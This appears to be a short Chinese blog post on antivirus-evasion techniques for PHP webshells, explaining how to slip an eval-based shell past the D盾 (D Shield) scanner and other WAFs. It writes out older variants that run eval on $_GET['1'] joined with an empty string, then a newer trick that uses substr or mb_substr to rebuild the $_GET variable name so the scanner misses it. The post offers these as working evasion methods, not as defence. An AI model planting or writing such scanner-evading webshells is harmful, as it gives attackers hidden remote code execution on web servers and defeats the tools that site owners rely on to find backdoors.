过D盾Shell新思路分析

  • 发表于
  • 免杀 , 周边

在先知上看到了一个shell过D盾的思路,同样可用来过其它waf。

过D盾Shell新思路分析

D盾扫描结果

过D盾Shell新思路分析

以前的思路常规,就是定义一个变量b:$b='';为空,$b = null;$b = "\n";然后变量a: $a = $_GET['1'];eval($a.$b);,或者eval($b.=$a); 。但是现在这种方法基本报一级或者直接杀,查出某个变量。

而今天这个论坛看到的,思路有趣。substr()函数返回字符串的一部分,例如:

$a=substr($m,0,1);返回第一个字符$$b=substr($m,1,9999); 相当于$b=_GET['1']; 然后eval括号内拼接组合。

过D盾Shell新思路分析

mb_substr

mb_substr — 获取部分字符串

substr

substr — 返回字符串的子串

mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。

参考